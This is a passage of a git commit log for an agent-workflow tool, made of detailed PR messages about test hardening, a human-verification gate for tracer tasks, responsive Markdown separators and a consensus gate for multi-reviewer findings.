comment names no command and says where the config is actually loaded instead, which reads longer than the token it replaced. Acks only the path the gate reported, per the fragment rules. Refs #3809 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * revert(#2751): drop the commands/ half — three contracts pin it in place The remote runner refuted the commands/ extension outright. Reverting it and keeping the references/ conversion, which passed. What broke, all of it caused by bringing commands/ under launcher propagation: - graphify.md's five per-block preambles are LOAD-BEARING, not accumulated drift. tests/graphify-visualization.test.cjs extracts individual Step-3 shell chains and executes them standalone, so each fenced block needs its own definition of gsd_run. Collapsing them to the canonical one-per-file produced `bash: gsd_run: command not found`, exit 127, across four tests. The "define once per file" contract holds for workflows and agents because nothing extracts their blocks in isolation; commands/ is not like that. - explore.md broke "the preamble that DEFINES gsd_run must appear before the first USE of gsd_run anywhere in the file". - tests/gsd-tools-path-refs.test.cjs (#1766) ASSERTS that commands/gsd/workstreams.md contains the literal string `gsd-tools query workstream.list`. Rewriting it to gsd_run contradicts a test that pins the opposite, so the two guards disagree about that file by construction. So commands/ is not a scan-set widening. It needs those contracts reconciled first, and that is its own change. SCAN_DIRS keeps gsd-core/references/ and drops commands/, the ten commands/ allowlist entries go with it (back to 5), and the reasoning is recorded in the guard itself so the next person does not rediscover it by burning a matrix run. commands/gsd/import.md keeps its #3809 fix — that one is the .cjs form this PR exists to remove, and it is untouched by any of the above. Refs #2751, #3809 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * revert(#3809): restore explore.md's Step 1 preamble placement Running the launcher sync script processed workflows/ and agents/ too, not just the commands/ directory the run was aimed at, and it MOVED gsd-core/workflows/explore.md's preamble from Step 1 down to Step 3. The script inserts into the first bash block that USES gsd_run. explore.md's Step 1 block only DEFINES it, and that placement is deliberate -- the file says so on the line above: "Placed in Step 1 rather than Step 3 so declining the research offer cannot leave Step 5's commit call unbootstrapped." tests/explore-command.test.cjs pins it. explore.md carried no #3809 offender, so reverting it costs this fix nothing. This was collateral from invoking the sync script at all, not from the COMMANDS_DIR change, which is why the earlier commands/ revert did not catch it. Refs #3809 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * chore(#3809): backfill PR number into changeset fragments pr:0 -> pr:3815 for both fragments now that the PR exists. Refs #3809 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#3809): drop the hand-rolled regex escaper CodeQL flagged CodeQL raised js/incomplete-sanitization (HIGH) on the guard's pattern build: `SHIM.replace(/\./g, '\\.')` escapes the dot and nothing else, so it does not escape backslashes. It blocked PR #3815. The repo already bans this shape -- local/no-adhoc-regex-escape exists exactly to stop hand-rolled escapers, with the canonical one in src/pattern.cts. Rather than reach for that helper, the pattern now carries no escaping logic at all: SHIM is a compile-time constant whose only metacharacter is the dot, so the regex source is spelled out literally. The generated source string is byte-identical to what the replace() produced, verified before and after -- 0 offenders on this tree, 52 against origin/next, unchanged. A drift pin asserts SHIM_PATTERN still matches SHIM exactly, and that the dot is escaped rather than acting as a wildcard, so the two cannot separate.

Tom Boucher	cf15682d1c	enhance(#3028 ): responsive Markdown separators instead of fixed-width rules (#3789 ) * feat(#3028): responsive Markdown separators instead of fixed-width rules Stage banners, checkpoints, completion and error panels used fixed-width runs of box-drawing characters -- a 53-column heavy rule and a 62-column double-line box. Those runs are ordinary text to a Markdown-rendering host, so in a narrower pane they wrap and the border comes apart from the heading it framed. Shipped content now emits an ATX heading for a titled section and a blank-line-delimited --- for a break between sections, both of which adapt to the available width. The same convention is applied to the three code sites that built these strings at runtime: the UAT checkpoint renderer, the milestone-close audit report, and the TDD review checkpoint table. Removing the box also removes its only reason to exist -- the east-asian-width padding helpers that kept its right border aligned (checkpointBoxLine, displayWidth, isWideCodePoint, ZERO_WIDTH_MARK_RE, CHECKPOINT_BOX_WIDTH). RTL directional isolation is unchanged. The convention is specified in gsd-core/references/ui-brand.md and enforced across all shipped content by tests/responsive-separators.test.cjs. Refs #3028 * test(#3028): pin the heading form in checkpoint and audit-report assertions These suites asserted the exact box borders and the 62-column padded banner interior. With the box gone they assert the ### heading form, the --- break and the bolded instruction line, and each now carries a positive assertion that no box character remains -- which is what pins the fix rather than merely tolerating it. Language coverage is converted, not dropped: Japanese, Chinese, Korean, Hindi and Arabic all still assert their rendered banner, and the Arabic case still asserts the RTL directional isolates the box removal must not disturb. Adds a case for a banner longer than the old inner width, which previously produced a ragged border and now has none. Refs #3028 * chore(#3028): acknowledge execute-plan.md growth from the checkpoint display spec The checkpoint_protocol display spec described the drawn box; it now describes the heading, the --- break and the bolded action prompt, which costs 22 bytes (40111 -> 40133, 827 under the cap). Appended to the existing #3370 fragment rather than filed as a new one: a growth ack keys on the bare filename and #3370 already declares execute-plan.md, so a second source naming it would be a hard duplicate-key error. Same supersede-by-append route #3370 took for the spent #2652 fragment. Refs #3028 * docs(#3028): state the load-bearing half of the separator rule, and amend the zh-CN reference Review found three things. The rule as first written demanded a blank line above AND below every ---. Only the one above is load-bearing: it is what stops CommonMark reading the rule as a setext underline for the line above. The one below is cosmetic, because a thematic break is a leaf block. The rule now says that, with the reason, instead of asserting a stricter form the content does not keep. The zh-CN reference had received the mechanical box-to-heading swap but none of the prose behind it: it still claimed a 62-character checkpoint width and still listed --- among forbidden mixed banner styles, so it contradicted the convention it was translating. It now carries the separator section, the setext reasoning, the unconditional-vs-per-runtime rationale and a corrected anti-pattern list, in Chinese. The user guide asserted that a heading is not a degradation anywhere. That is an assertion, not a demonstration. It now says what was actually traded away in a plain terminal, points at the recorded rationale, and invites the report that would justify the capability flag instead.

Behruz Nassre Esfahani	622f43353c	fix(#3299 ): tracer feedback gate honors workflow.human_verify_mode (#3390 ) * fix(#3299): tracer feedback gate honors workflow.human_verify_mode The tracer feedback gate (#2294) predates `workflow.human_verify_mode` (#3309, whose scope was the planner and verifier only), and branched on auto-mode alone. Under the documented `end-of-phase` default an interactive run therefore halted after EVERY `type="tracer"` task, synthesizing a `checkpoint:human-verify` no planner ever emitted and asking the user to retype a verdict the executor had just computed — at the cost of a full executor cold-start each time. Planner-side suppression cannot reach this halt because the executor synthesizes it at runtime, which is why #3309 did not close it. The gate now branches on HUMAN_VERIFY_MODE in the interactive path: under `end-of-phase` an automated-only tracer `<verify>` is re-run and, on success, expansion continues with no checkpoint. HALT-on-failure is unchanged. `mid-flight`, `gate="blocking-human"`, and tracers carrying genuine `<human-check>` evidence all still stop; the autonomous branch is untouched. `--default end-of-phase` on the config read is load-bearing, not decorative: `workflow.human_verify_mode` is absent from SCHEMA_DEFAULTS, so a bare `config-get` exits non-zero with `Key not found` on any project whose config.json predates #3309 — which is the reporter's exact config and every pre-existing project. Both copies of the rule (workflows/execute-plan.md and agents/gsd-executor.md) are updated together; the reference doc records the seam and the human-check-still-halts rationale so it cannot recur. Fixes #3299 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * chore(#3299): add changeset Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(#3299): reconcile the canonical schema table and the stale acceptance test Review round 1 (trek-e) — three items, all in the drift class this PR is about, two of them landed inside this PR's own diff. 1. docs/reference/plan-md.md:233 — CONTEXT.md names this file the canonical schema reference for the tracer task-type contract, and its Task-types row still claimed interactive runs unconditionally present a checkpoint:human-verify. CONTEXT.md and docs/AGENTS.md were updated in the first round; this one was missed, so the authoritative reference was the wrong answer. The row now carries the human_verify_mode-conditional behavior and points at the canonical precedence chain. 2. tests/tracer-bullet.test.cjs — the docs assertion only checked that a tracer ROW EXISTS, never its content, which is why CI could not see the drift. It now asserts the row's actual claims and rejects the pre-#3299 wording. Separately, the #1945 acceptance test named 'interactive run emits checkpoint:human-verify after the tracer' kept passing only because its substrings still occur in the fallback clause, while its name asserted the opposite of shipped behavior. Renamed and narrowed to what #1945 still guarantees, plus a new interactiveIsConditional pin so the unconditional prose cannot be restored under a passing substring check. 3. plan-md.md's <verify> row now documents that the legacy bare-text form (valid, and still shown at :179) does not reach the #3299 auto-continue — only a <verify> carrying <automated> does — so the benefit is silently unreachable for tracers using that format. Mutation-verified: reverting the plan-md row fails 1 test; reverting the executor's interactive branch fails 4. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(#3299): make the tracer gate reachable from the planner template, and bind the assertions Peer review round 3 found two Majors, both verified by reproducing the mutation before fixing. MAJOR 1 — the fix was largely inert on its own default path. agents/gsd-planner.md's Nyquist Rule (:191) says every <verify> includes <automated>, but the tracer-specific template twelve lines later emitted the legacy bare-text form. The gate auto-continues only on a <verify> carrying only <automated>, so every tracer produced from the canonical template fell to the STOP fallback and #3299's benefit was unreachable for exactly the task type it targets. Template now wraps in <automated>; a contract assertion pins it so the two cannot drift apart again. MAJOR 2 — the new assertions did not bind condition to action. Appending 'Nevertheless, interactive runs always present a checkpoint:human-verify' to the canonical row, and 'then immediately STOP and return a checkpoint:human-verify' to the auto-continue clause in BOTH operative copies, restored unconditional interactive checkpointing and left the suite 35/35 green. Every required keyword still matched. Fixed by: - clause 2 must now contain no STOP outcome and emit no checkpoint at all — 'never a checkpoint' has to be true OF the clause, not merely stated in it; - interactiveIsConditional replaced with the ordered-clause parse plus the same no-STOP property, instead of proving only that HUMAN_VERIFY_MODE appears somewhere on the line; - the plan-md.md Autonomy cell is now pinned EXACTLY rather than by keyword presence. Deliberately brittle: CONTEXT.md names that table the canonical schema reference, so a wording change must be a conscious edit in both places. Mutation-verified after the fix: the combined semantic regression now fails 3 tests; reverting the planner template fails 1. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * test(#3299): exact-pin the safety clauses instead of blacklisting outcome verbs Peer review round 4. Blacklisting did not hold, twice over: - Round 3 banned literal STOP and the 'return a'/'present a' checkpoint forms in the auto-continue clause. Round 4 defeated that by appending 'then pause and invoke checkpoint_protocol with a checkpoint:human-verify before expansion' — none of the banned tokens, same restored interruption after every successful tracer. 36/36 passed. - The planner guard looked for <automated> anywhere inside <verify>, so '<verify>[...]<!--<automated>--></verify>' satisfied it while leaving the legacy bare form operative. 107/107 passed across tracer, planner and the three size-cap suites. Synonyms are unbounded; the clauses are not. Both are now pinned exactly on normalized whitespace, the same approach already proven on the plan-md.md Autonomy cell, with defence-in-depth checks behind them: no checkpoint-emitting or blocking outcome in any wording inside clause 2, and the planner's <verify> body must be exactly one non-empty <automated> child with no commented markup. These pins are deliberately brittle. Each is a safety contract, so changing the behavior must be a conscious edit in both the prose and the expectation. Mutation-verified: the synonym-checkpoint mutation fails 1; the commented-out wrapper fails 1; the round-3 literal-STOP + contradictory-doc-row regression fails 3. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * test(#3299): strip comments, require uniqueness, pin whole regions Peer review round 5. Exact-pinning one clause was still bypassable two ways, both reproduced before fixing (each left the suite fully green): - COMMENTED DECOYS. Put the correct text in an HTML comment followed by a live wrong copy: every extractor selected the commented decoy. Worked against the planner template, the canonical plan-md.md row, and both executor branches. - SURROUNDING OVERRIDE. Insert 'after every tracer, pause and invoke checkpoint_protocol before expansion, regardless of the mode-specific rules below' immediately ABOVE the pinned clause, or 'ignore row 3; always wait for approval' below the canonical table. The pinned text was untouched, so equality held while the shipped meaning inverted. The shape that holds, applied to every operative surface: 1. strip HTML comments BEFORE selecting, so a decoy cannot be chosen; 2. require the structural anchor to occur EXACTLY ONCE, so a live second copy cannot hide behind a correct first one; 3. pin the ENTIRE decision region, not one clause, so no unparsed prefix or suffix can override what the pin proves. Applied to: the executor's whole tracer branch, execute-plan.md's whole dispatch line, checkpoints.md's whole precedence section, and plan-md.md's Autonomy cell. Also addresses the round-5 Minor: the planner template is now asserted STRUCTURALLY (exactly one <verify> in the fenced block, body exactly one non-empty <automated> child) rather than pinning the descriptive placeholder verbatim, so behavior-preserving wording changes no longer false-fail. The clause and section pins keep their exact form — those have a safety rationale the placeholder copy does not. Mutation-verified, all six rounds: override-above-clause 1; commented decoy row 1; commented decoy branch 1; ignore-row-3 override 1; synonym checkpoint 1; commented-out wrapper 2. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * test(#3299): drop the superseded exact-placeholder planner assertion Peer review round 6, Minor. The round-5 brittleness fix ADDED a structural planner assertion but left the old exact-placeholder one in place, so the over-brittleness it was meant to remove was still live: rewording the descriptive placeholder while preserving exactly one non-empty direct <automated> child failed the old test and passed the new one. Removed the old test. The structural assertion is the real contract — the gate auto-continues on the SHAPE of the verify, not on the wording of a placeholder. Verified both directions: a behavior-preserving reword now passes; reverting the template to bare <verify> still fails. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * test(#3299): select operative prose via parsePredicates, not a hand-rolled scanner Peer review round 7. I had judged the round-6 selector bypass adversarial-only and out of scope, intending to disclose it. Both premises were wrong, and the review said so: - 'Needs new src API' — false. parsePredicates is ALREADY a public export and internally uses the repo's interleaved fence/comment scanner. Instrumenting candidate lines as throwaway predicate declarations borrows that scanner with no src change at all. - 'Adversarial-only' — false, and this is the part that mattered. Two ORDINARY edits silently turned the guards into decoy checks: * a forgotten '-->' comments the live rule through to EOF, and the balanced-only stripper still saw and accepted the commented rule; * a normal fenced documentation example of the rule, plus a whitespace-only reformat of the live list item, made the selector choose the example. Neither needs intent. A dangling comment is a typo; a fenced example is good documentation. Together they reproduce exactly the accidental drift #3299 came from — with CI green. The selection layer now defers to parsePredicates for operativeness, uses whitespace-tolerant anchors so a reformat cannot decouple the live line from its pin, extracts regions by operative line index rather than string search, and carries a self-guard test proving fenced / balanced-commented / after-unclosed-comment copies are all excluded. The helper also ignores indexes it did not inject, so a pre-existing GSDTEST.CANDIDATE line cannot pollute it. Verified both ordinary-edit scenarios now fail the suite (each was green before). Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * test(#3299): close the operative-selection gaps the maintainer blocked on trek-e's Blocker: the operative-line selection layer had three gaps, all reachable by ordinary future doc edits rather than sabotage. He independently found a fourth I had not disclosed. All are fixed. 1. INDENTATION PROMOTION (his find, not in my disclosure). The instrumentation replaced a matched candidate with an UNINDENTED marker regardless of the original line's indentation. A 4-space-indented CommonMark code block is not skipped by parsePredicates (it accepts indented declarations by design), so stripping the indent PROMOTED an indented decoy to operative — the exact inversion of the guard's purpose. The marker now preserves the original indent, and a candidate that is itself indented 4+ spaces is never injected. 2. NO SET MEMBERSHIP. The filter accepted any in-range integer, so a pre-existing literal GSDTEST.CANDIDATE=<valid index> in source text could pollute the count. Now filters on a Set of the indexes actually injected on this call. 3. RAW FENCE SELECTION (planner). The template test matched the first raw ```xml fence after the marker with no fence/comment awareness — the one selection in the suite that was not operative-aware — so a commented-out decoy template between the marker and the real one would be selected while the live template regressed. The opener must now be operative AND the first non-blank line after the marker. 4. RAW END ANCHOR (regionFrom). The end anchor was tested against raw lines, so a fenced example containing a ### / <type line truncated the pinned region early — a false FAILURE on a legitimate doc edit. End anchors now go through the same operative filter as start anchors. Mutation-verified: the indented-decoy + whitespace-varied-anchor combination and the commented-out fence decoy each now fail the suite (both passed clean before). Truncation is confirmed fixed by extraction — the region spans the full section and retains the content following a fenced example, where it previously stopped at it. Note on the remaining brittleness: adding a fenced example INSIDE a pinned region still fails the whole-region exact pin. That is the intended tradeoff for a safety contract, not the truncation defect, and is called out as such. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * test(#3299): allow-list operative indentation; pin marker provenance Review round 9. BLOCKER — the round-8 indentation guard was written as a DENY-list, /^(?: {4,}\|\t)/, and CommonMark has more indented-code forms than that enumerates: " \t", " \t" and " \t" all open an indented code block and all slipped through, so an indented decoy was still promoted to operative while the live rule regressed (34/34 green). Inverted to an allow-list — only 0-3 literal spaces is ordinary block indentation; anything else is code. Enumerating the bad shapes was the error, not the specific regex. MINOR — the injected-index Set validated the marker's VALUE but not its SOURCE. A pre-existing literal `GSDTEST.CANDIDATE=<n>` could name an index that some other (skipped) candidate had contributed to the set, and be accepted. Now also requires p.line - 1 === Number(p.value): the predicate must have been parsed from the line it names. MINOR (false negative) — ```xml title=x is a valid CommonMark info string, and requiring exactly ```xml failed the suite (33/34) on a behavior-preserving edit. Both the opener assertion and the extraction now accept an info string. Mutation-verified: the mixed " \t" decoy and the forged-provenance marker each now fail; the info-string fence no longer false-fails. KNOWN LIMITATION, disclosed on the PR rather than papered over: parsePredicates is a predicate parser, not a general CommonMark operativeness oracle. Two standards-valid constructs still read as operative — a lazy blockquote continuation line (state opens only on a line that literally starts with ">"), and a comment opened mid-line ("prose <!--", where state opens only when the trimmed line STARTS with "<!--"). Closing those means either teaching the shared src/context-predicates.cts about container/lazy-continuation state — a change to a module every health rule consumes, well outside a tracer-gate fix — or hand-rolling a CommonMark parser inside a test, which is how this suite got into trouble in the first place. Left for the maintainer to scope. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * chore(#3299): re-arm the execute-plan.md emitted-drift ack after the base merge The #3299 ack rode on tests/emitted-drift-acks/2652-quick-diagnose-dispatch-isolation.json, which upstream retired in `362d0434b` (#3370) once #2728's entries were spent. #3370's own fragment now owns execute-plan.md at the base, so a new 3299-.json naming that path would collide — mergeAckSources rejects a duplicate key across fragments rather than silently last-winning. Re-arms #3370's entry instead, the mechanism the gate is built for (a spent ack whose reason changes in the diff is live again), carrying #3370's own reason forward verbatim so the base growth keeps its account. Verified: emitted-attribution 175/175 against origin/next@be9329b10. fix(#3299): honor golden rule 6 in the tracer gate, extract the chain Addresses the review on #3390 (B1-B3, M1-M4, minors). B3 — checkpoints.md asserted two incompatible rules about the same gate. Golden rule 6 says gate="blocking-human" stops for a human in every mode; the precedence table scoped row 1 to interactive runs, so a first-match chain let an auto-mode tracer carrying that gate fall to row 2 and auto-continue. Rule 6 wins: row 1 is now "Any run, any mode", the justification sentence it falsified is gone, and the STOP is evaluated before the auto-mode branch at all three dispatch sites — gsd-executor.md, execute-plan.md and the plan-md.md schema row. Unreachable by our planner is not unreachable: src/verify.cts parses only `type` and never consults `gate` on non-checkpoint tasks, so an imported PLAN.md can carry it. B1 — the LARGE-tier cap. gsd-executor.md is 49150 on next against a 49152 cap, so this PR could not add a byte. Extracted rather than trimmed: the precedence chain now lives only in checkpoints.md (already @-imported by <checkpoint_protocol>, so no new load), and the duplicate summary inside that protocol section is a pointer. The rationale the earlier trim deleted is restored — "production-quality, never a throwaway" and "Pouring more layers onto a broken foundation...". Result 49097: 55 bytes under the cap and a net 53-byte REDUCTION against next, so the PR returns headroom instead of consuming it. B2 — merged upstream/next and resolved all three drift-ack conflicts. 2775 changed shape upstream (string -> {reason}); adopted the new form. M1 — the 2775 ack claimed the Nyquist Rule sat "twelve lines earlier"; it is ~75 lines. Corrected to "earlier in the file". M2 — ack arithmetic restated from measurement, not from a stale base. The 2943 #3299 append is DELETED: with gsd-executor.md now shrinking there is no ripple to acknowledge, and emitted-attribution correctly flagged the entry as stale. M3 — changeset rewritten to the documented bold-lead + em-dash one-liner. M4 — the two self-defeated shapes are gone. The planner-human-verify-mode presence checks now go through operativeLineIndexes. The config-get check does NOT: all three reads live inside ```bash fences, which is their correct executable form, and that selector excludes fenced lines by design. It instead pins exactly one live, uncommented, fenced read per file — mutation-tested against both a commented-out read and a duplicate. Minors — dangling colon lead-in dropped, a "below" pointer that pointed above corrected, and the `(default)` asymmetry between the two dispatch copies aligned. Two defects the merge surfaced, both caught only by the full suite: the new #3576 gate rejected this PR's own bare `references/checkpoints.md` cite in planner-human-verify-mode.md (rewritten to the canonical gsd-core/ form), and the line-keyed PROSE_ALLOWLIST entry for gsd-executor.md needed 794 -> 795 after this change shifted the line. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(#3299): correct the size record the 08-22 merge falsified Review round: one Major, four Minors. Major — the #3299 arm's arithmetic was measured before the merge and is now wrong in a document whose whole purpose is to be an accurate size record. Re-measured at head: execute-plan.md is 39315 B on next and 40111 B here, so the 796-byte delta was right but the endpoints and the headroom were not (849 bytes against DEFAULT_CAP 40960, not 1003). The superseded figures are named rather than silently replaced. Confirmed the workflow cap counts LF BYTES while the agent cap counts CHARACTERS — two caps in two units, one per file. Minor 1 — 2943-context7-tool-name.json reverted to next. JSON.parse of both sides was already identical; the diff was an em-dash/times-sign re-serialization left over from adding and then removing the #3299 arm. No business in this PR. Minor 2 — the duplicated `tracer row Autonomy cell` test is gone. Both copies were new here and carried the same ~8-line canonical string; the one removed selected its row with a raw startsWith find, the shape this suite records at :477 as defeated in round 1. Its rationale — why the cell is pinned EXACTLY, and the append-a-contradiction attack that defeated keyword matching — is carried onto the surviving fence-aware copy rather than deleted with it. Minor 3 — the executor's condensed interactive clause said only "re-run, continue", which does not distinguish pass from fail; read in isolation it invites expansion onto a broken slice, the outcome the gate exists to prevent. Now "re-run; fails → HALT as above, passes → continue, no checkpoint". The pinned expected string moved with it. Executor at 48,905 chars, 247 under the cap. Minor 4 — 2775 asserted two different current sizes for gsd-planner.md. The stale half is next's own text taken wholesale, so the contradiction was inherited; it now reads as a before-figure rather than a current one. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(#3299): cite the plan-md example by section, not by a drifting line Review round 7, Nit N-1. The 2775 ack fragment justified its one-line formatting with "matching docs/reference/plan-md.md:207's own example style". At head, :207 is prose; the one-line <verify><automated> example it means is at :222. The citation was accurate when written (77c2fda, f23205c) and drifted with a later merge of next. Re-pointed by section rather than by line — it has already drifted once, and the fragment's whole purpose is to be an accurate record — and the drift itself is recorded inline so the correction does not quietly overwrite what the earlier number said. Also narrows the changeset's "any task with gate=blocking-human" to "any tracer carrying gate=blocking-human" (found by Codex in the whole-PR pass). Golden rule 6 and the #3299 decision table both scope that gate to checkpoints and to the tracer feedback gate; the normal type="auto" branch never inspects `gate`, so the wider claim promised behavior the implementation does not have. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(#3299): answer fence-delimiter liveness by insertion, not replacement Review round 9. The round-8 fence-awareness fix was itself unsound, in the same class it was added to close. `operativeLineIndexes` detects operative lines by REPLACING each candidate with a throwaway predicate declaration and asking `parsePredicates` which survived. Sound for ordinary content lines. Not sound for a fence DELIMITER, which is exactly what the tracer-template selection passed it: deleting every ```xml OPENER leaves each matching closer to become an opener, and since `computeSkippedLineFlags` is a strict FORWARD state machine, fence parity inverts for the whole remainder of the document. Measured against the real file rather than argued: agents/gsd-planner.md has 3 live top-level ```xml openers — 0-based 180, 232, 262. operativeLineIndexes reported 180 and 262. Line 232, the "Task-level TDD" example, read NON-OPERATIVE — a wrong answer from a helper whose only job is that question. It passed only by parity coincidence, and one extra live example anywhere earlier flipped it to a false FAILURE blaming a decoy that does not exist: HEAD as-is \| anchor 260 \| openIdx 262 \| ASSERTION PASSES +1 unrelated ```xml example \| anchor 265 \| openIdx 267 \| ASSERTION * FAILS * Fixed by asking the question a way that perturbs nothing. `isOperativePosition` INSERTS a marker on its own line immediately before the candidate instead of replacing it. Insertion preserves every delimiter, and because the skip-state machine runs strictly forward, a line inserted at `idx` observes exactly the fence/comment state the candidate observes, with nothing but the marker between them — so marker-operative IS the candidate's position-liveness. The review's suggested direction (substitute a same-shaped opener that still opens a fence) cannot work here: the marker would then be inside the fence and would never parse as a predicate at all. Position-liveness is not content-liveness, so the helper also rejects a line that is entirely comment (`<!-- ```xml -->`), rather than leaving that to each caller's own shape test to happen to exclude. `operativeLineIndexes` now THROWS when its candidate regex matches a fence delimiter, so the unsound route cannot be reached again by a future caller rather than only being fixed at the one site that got it wrong. Verified with the same extra-example scenario above: with the fix, all 35 rows stay green. Teeth: reverting the call site to `operativeLineSet` turns the tracer-template row red on the new guard. The regression row pins both live openers (the second is the one the deletion route lost), the block-commented and same-line-commented openers, a line inside a fence, and re-checks both openers after unrelated lines shift above them. Only tests/tracer-bullet.test.cjs changes — no agent file is touched, so the 5-char gsd-planner.md and 19-byte gsd-executor.md headroom are unaffected. Verified: `npm run lint:ci` exit 0; full `npm test` 31307 tests / 31292 pass / 0 fail / 14 skipped, TMPDIR unset, against a freshly synced origin/next. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(#3299): guard the delimiter class, match the scanner, pin the assignment Codex full-PR review of #3390, run against the round-9 head. Three defects, two of them in the code that round added. 1. The mode-read pin survived the regression it exists to catch. `READ` matched the config-get substring only, so rewriting the shipped line as `IGNORED_MODE=$(gsd_run query config-get ...)` kept the row green while nothing defined HUMAN_VERIFY_MODE — the gate falls through to STOP and #3299 is back with the suite passing. The regex now requires the assignment. A lookahead after `end-of-phase` closes the other half: the bare prefix also accepted `--default end-of-phase-wrong`. Proven by mutation: renaming the variable in agents/gsd-executor.md now turns that row red, and did not before. 2. The round-9 fence-delimiter guard was a SAMPLE of the class, not the class. It probed a fixed list of five delimiter strings. `~~~xml`, ```json, `~~~~` and arbitrary info strings all walk past any list short enough to write down — the guard was added precisely because one such regex had already slipped through. Now matched against the lines the regex actually selects in the document, which cannot go stale and cannot miss a spelling nobody thought of. Four such spellings pinned as rows. 3. `isOperativePosition` disagreed with the scanner it delegates to. For `<!-- closed --> real content` it stripped the span, found surviving content, and answered "live". `computeSkippedLineFlags` skips an ENTIRE line whose trimmed text starts with `<!--`, balanced or not, before it considers fences at all. Verified directly against parsePredicates. It now applies the scanner's own rule instead of out-reasoning it. Latent for the present caller (its anchored ```xml shape cannot match a comment-prefixed line), real in general. Disclosed rather than fixed, and raised with the maintainer: the exact executor region pin ends before the second operative tracer-gate paragraph at agents/gsd-executor.md:327, which is only heading-checked — so contradictory later instructions could ship. How much of that file to pin is a call for its owner. Independently probed isOperativePosition across 19 edge cases before the review (line 0, CRLF, tab / 4-space / mixed " \t" indentation, 0-3 space fences, nested fences, ~~~ fences, info strings, bounds); all correct. That probe is what surfaced finding 2, which the review then confirmed from the other direction. Verified: `npm run lint:ci` exit 0; full `npm test` 31296 tests / 31281 pass / 0 fail / 14 skipped, TMPDIR unset. One caveat stated rather than smoothed over: in that run tests/planning-snapshot.test.cjs was truncated by concurrency after row A5 — 11 tests did not execute, which a 0-fail aggregate cannot show. Re-run in isolation it is 87 tests / 87 pass / 0 fail, and it is untouched by this change.

Tom Boucher	738f42f4fd	feat(#2398 ): consensus gate for CYCLE_SUMMARY on multi-reviewer runs (#3755 ) * test(#2398): failing-first suite for the CYCLE_SUMMARY consensus gate Binds the gate before it exists, so the suite is RED against next. The load-bearing rows are the two the closed PR #2417 did not have. The B2 regression row asserts a judgment-class lone HIGH counts WITHOUT corroboration when its raiser is unmarked — if anyone re-couples that class to corroboration, more reviewers again produce a weaker gate than one, which is what closed #2417. The parity row asserts every marker literal the gate names is one review-lane-runner actually emits, so the gate cannot key on a signal nothing produces; a mutation row and a seeded fast-check property prove that guard runs its failure branch rather than only reading a correct tree. Also pinned: gate position before Counting rules, the untouched CYCLE_SUMMARY line shape the orchestrator greps, fence balance, the single-reviewer no-op, classification by what a claim asserts rather than by citation presence, the all-marked fail-open, current_actionable staying out of scope, and the leading-marker requirement that stops a review which merely quotes a marker from suppressing its own findings. * feat(#2398): consensus gate for CYCLE_SUMMARY on multi-reviewer runs With review.reviewer_instances running several reviewer identities off one adapter, any single instance's fabricated HIGH could force a full replan cycle on its own. Across ~9 real cycles on two projects each of four instances fabricated at least once, and each was also the most accurate reviewer in some other cycle, so dropping to fewer reviewers trades away real signal. The gate engages only when 2+ reviewers actually ran, and weighs a lone HIGH by what the claim asserts rather than by whether anyone agreed with it. An existence claim -- a symbol, file, flag, commit or ID exists, is absent, or says something specific -- counts only if source-grounding confirms it or another reviewer raised the same concern. A judgment claim -- a design or correctness property -- counts unless that reviewer's own section opens with an evidence-quality discount marker the review lane already stamps ([reviewed-without-source-citations] #3194, [reviewed-without-repo-access] #2176, or a diff-only lane). That split is what resolves B2, the finding that closed PR #2417. B2 showed the approved wording made more reviewers produce a WEAKER gate than one: condition (a) pointed at the source-grounding pass, which verifies every symbol THE PLAN cites and never takes reviewer claims as input, so a genuine architectural HIGH that one reviewer caught and another missed was neither groundable nor corroborated and stopped gating. Judgment-class findings are therefore exempt from corroboration entirely -- reviewers catch materially different classes of issue, and demanding two of them independently raise the same architectural concern suppresses exactly what a multi-reviewer setup exists to surface. Guards on the gate itself: an all-marked cycle disengages it, so a cycle in which nothing was verified can never be counted as converged; the marker must OPEN a reviewer's section, so a review that merely quotes a marker does not suppress its own findings; a suppressed HIGH stays listed and tagged rather than dropped; current_actionable is untouched; and a single-reviewer run is unchanged. No new command, config key, or dependency -- the gate reads signals that already exist. The CYCLE_SUMMARY line shape the orchestrator greps is unchanged; only the integer it computes moves, and only for 2+ reviewers. Known limit, inherited rather than introduced: SOURCE_CITATION_RE checks citation presence, not resolution, which src/review-lane-runner.cts records as a deliberate #3194 scope boundary. A fabricated but plausible file:line still gates. Scope revised and re-approved on the issue before any code was written. * test(#2398): make marker parity behavioral, and stop overclaiming the gate Review found the parity tests were vacuous: they asserted a marker STRING appeared in review-lane-runner.cjs's source text, never requiring the module or calling the stampers, so they would pass even if stampUngroundedReview were broken or never invoked. They now invoke the real exported functions and assert what those functions PRODUCE — that an uncited review gains a leading marker blockquote, that a review carrying a file:line does not, that a self-reported blind review is stamped, and that stamping is idempotent. Removing the source read also removes an incidental no-source-grep evasion via a parameterized path. Review also found the changeset headline false for the class it matters most in. The discount markers detect 'cited nothing' and 'had no repo access'; they cannot detect 'drew a wrong conclusion from a real citation', so a judgment-class finding invented by an evidence-bearing reviewer still counts alone. That is the deliberate side of the tradeoff jags-faith named when closing #2417 — the alternative is requiring corroboration for design findings, which is B2 — but the changeset claimed lone hallucinations no longer force a cycle, full stop. Corrected there, and stated plainly in docs/COMMANDS.md and the design record. Also dropped the reviewer-instances.md entry from the emitted-drift ack: the growth ratchet's currentSizes() scans only gsd-core/workflows/ and agents/ (tests/helpers/emitted-runtime.cjs:916-929), so references/ is outside it and that 